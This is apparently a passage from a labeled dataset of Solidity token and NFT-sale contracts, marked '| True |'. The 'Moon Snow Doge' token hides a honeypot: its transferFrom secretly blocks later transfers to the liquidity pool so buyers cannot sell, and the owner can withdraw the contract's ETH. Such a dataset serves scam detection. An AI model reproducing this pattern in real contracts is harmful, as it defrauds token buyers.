uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
/**
* @dev {ERC20} token, including:
*
* - Preminted initial supply
* - Ability for holders to burn (destroy) their tokens
* - No access control mechanism (for minting/pausing) and hence no governance
*
* This contract uses {ERC20Burnable} to include burn capabilities - head to
* its documentation for details.
*
* _Available since v3.4._
*/
contract FreeTokenFREET is ERC20Burnable {
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC20-constructor}.
*/
constructor(
string memory name,
string memory symbol,
uint256 initialSupply,
address owner
) ERC20(name, symbol) {
_mint(owner, initialSupply);
}
}
|
True
|
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/**
Moon Snow Doge ($MSDOGE) - Community Token
// SPDX-License-Identifier: MIT
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "MSDOGE";
name = "Moon Snow Doge";
decimals = 8;
_totalSupply = 1000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract MoonSnowDoge is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Sales721ForEth is Ownable, ReentrancyGuard {
using SafeMath for uint;
using SafeERC20 for IERC20;
// set the saleIDCounter initial value to 1
uint private saleIDCounter = 1;
bool private onlyInitOnce;
struct BaseSale {
// the sale setter
address seller;
// addresses of token to sell
address tokenAddresses;
// tokenIDs of token to sell
uint[] tokenIDs;
// address of token to pay
address payTokenAddress;
// price of token to pay
uint price;
// address of receiver
address receiver;
uint startTime;
uint endTime;
// whether the sale is available
bool isAvailable;
}
struct FlashSale {
BaseSale base;
// max number of token could be bought from an address
uint purchaseLimitation;
}
struct Auction {
